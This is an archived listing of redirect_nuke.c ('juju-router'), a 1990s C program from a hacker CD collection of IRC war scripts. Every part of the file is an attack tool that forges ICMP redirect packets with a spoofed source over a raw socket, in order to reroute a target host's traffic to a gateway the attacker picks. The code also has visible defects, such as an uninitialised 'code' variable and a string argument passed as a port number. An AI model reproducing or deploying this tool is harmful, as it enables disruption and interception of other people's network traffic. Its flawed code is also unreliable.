home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / ircscripts / warirc / redirect_nuke.c < prev    next >
C/C++ Source or Header  |  1996-04-23  |  4KB  |  168 lines

  1. #include <unistd.h>
  2. #include <netdb.h>
  3. #include <sys/time.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <netinet/in.h>
  7. #include <netinet/in_systm.h>
  8. #include <netinet/ip.h>
  9. #include <netinet/ip_icmp.h>
  10. #include <netinet/tcp.h>
  11. #include <signal.h>
  12. #include <errno.h>
  13. #include <string.h>
  14. #include <stdlib.h>
  15. #include <stdio.h>
  16.  
  17. int 
  18. resolver(host,saddr)
  19.   char *host;
  20.   struct sockaddr_in *saddr;
  21. {
  22.   struct hostent *h=gethostbyname(host);
  23.  
  24.   bzero(saddr,sizeof(struct sockaddr));
  25.   saddr->sin_family=AF_INET;
  26.   if (h!=NULL)
  27.   {
  28.     saddr->sin_family=h->h_addrtype;
  29.     bcopy(h->h_addr,(caddr_t)&saddr->sin_addr,h->h_length);
  30.     return(0);
  31.   }
  32.   else
  33.   {
  34.     fprintf(stderr,"juju-router: unknown host ``%s''\n",host);
  35.     return(-1);
  36.   }
  37.   return(0);
  38. }
  39.  
  40. in_cksum(addr,len)
  41.   u_short *addr;
  42.   int len;
  43. {
  44.   register int nleft = len;
  45.   register u_short *w = addr;
  46.   register int sum = 0;
  47.   u_short answer = 0;
  48.  
  49.   /* This function was taking from existing ICMP nuke code and
  50.      was presumably originally stripped from a ``ping.c'' implementation.
  51.   */
  52.  
  53.   while( nleft > 1 )
  54.   {
  55.     sum+=*w++;
  56.     nleft-=2l;
  57.   }
  58.   if( nleft == 1 )
  59.   {
  60.     *(u_char *)(&answer) = *(u_char *)w;
  61.     sum+=answer;
  62.   }
  63.   sum=(sum>>16)+(sum& 0xffff);
  64.   sum+=(sum>>16);
  65.   answer=~sum;
  66.   return(answer);
  67. }
  68.  
  69. int
  70. icmp_reroute(host,uhost,port,code)
  71.   char *host, *uhost;
  72.   int code, port;
  73. {
  74.   struct sockaddr_in       name;
  75.   struct sockaddr          dest,    uspoof;
  76.   struct icmp              *mp;
  77.   struct tcphdr            *tp;
  78.   struct protoent          *proto;
  79.  
  80.   int    i, s, rc;
  81.   char   *buf=(char *) malloc(sizeof(struct icmp)+64);
  82.  
  83.   mp=(struct icmp *) buf;
  84.  
  85.   if (resolver(host,&dest)<0) return(-1);
  86.   if (resolver(uhost,&uspoof)<0) return(-1);
  87.  
  88.   if (((proto=getprotobyname("icmp"))==NULL))
  89.   {
  90.     fprintf(stderr,"fatal; unable to determine protocol number of ``icmp''\n");
  91.     return(-1);
  92.   }
  93.   
  94.   if ((s=socket(AF_INET,SOCK_RAW,proto->p_proto))<0) 
  95.   {
  96.     perror("opening raw socket");
  97.     return(-1);
  98.   }
  99.   name.sin_family=AF_INET;
  100.   name.sin_addr.s_addr=INADDR_ANY;
  101.   name.sin_port=htons(port);
  102.  
  103.   if ((rc=bind(s,(struct sockaddr *) &name, sizeof(name)))==-1)
  104.   {
  105.     fprintf(stderr,"fatal; error binding sockets\n");
  106.     return(-1);
  107.   }
  108.  
  109.   if (((proto=getprotobyname("tcp"))==NULL))
  110.   {
  111.     fprintf(stderr,"fatal; unable to determine protocol number of ``tcp''\n");
  112.     return(-1);
  113.   }
  114.  
  115.   bzero(mp,sizeof(struct icmp)+64);
  116.   mp->icmp_type         = ICMP_REDIRECT;
  117.   mp->icmp_code         = code;
  118.   mp->icmp_ip.ip_v      = IPVERSION;
  119.   mp->icmp_ip.ip_hl     = 5;
  120.   mp->icmp_ip.ip_len    = htons(sizeof(struct ip)+64+20);
  121.   mp->icmp_ip.ip_p      = IPPROTO_TCP;
  122.   mp->icmp_ip.ip_src    = ((struct sockaddr_in *)&dest)->sin_addr;
  123.   mp->icmp_ip.ip_dst    = ((struct sockaddr_in *)&dest)->sin_addr;
  124.   mp->icmp_gwaddr       = ((struct sockaddr_in *)&uspoof)->sin_addr;
  125.   mp->icmp_ip.ip_ttl    = 150;
  126.   mp->icmp_cksum        = 0;
  127.   tp=(struct tcphdr *)((char *)&mp->icmp_ip+sizeof(struct ip));
  128.   tp->th_sport          = 23;
  129.   tp->th_dport          = htons(1499);
  130.   tp->th_seq            = htonl(0x275624F2);
  131.   mp->icmp_cksum        = htons(in_cksum(mp,sizeof(struct icmp)+64));
  132.  
  133.   if ((i=sendto(s,buf,sizeof(struct icmp)+64,0,&dest,sizeof(dest)))<0)
  134.   {
  135.     fprintf(stderr,"fatal; error sending forged packet\n");
  136.     return(-1);
  137.   }
  138.   return(0);
  139. }
  140.  
  141. void
  142. main(argc,argv)
  143.   int argc;
  144.   char **argv;
  145. {
  146.   int i, code;
  147.  
  148.   if ((argc<4) || (argc>5))
  149.   {
  150.     fprintf(stderr,"usage: juju-router target new-destination port code\n");
  151.     fprintf(stderr,"codes: 0 _REDIRECT_NET    1 _REDIRECT_HOST (default)\n");
  152.     fprintf(stderr,"       2 _REDIRECT_TOSNET 2 _REDIRECT_TOSHOST\n");  
  153.     exit(1);
  154.   }
  155.  
  156.   printf("juju-router: rerouting dynamically....");
  157.   if (code!=0 && code!=1 && code!=2 && code!=3) code=0;
  158.   if (icmp_reroute(argv[1],argv[2],argv[3],code)<0)
  159.   {
  160.     printf("failed.\n");
  161.     exit(1);
  162.   }
  163.   printf("succeeded.\n");
  164.   exit(0);
  165. }
  166.  
  167.  
  168.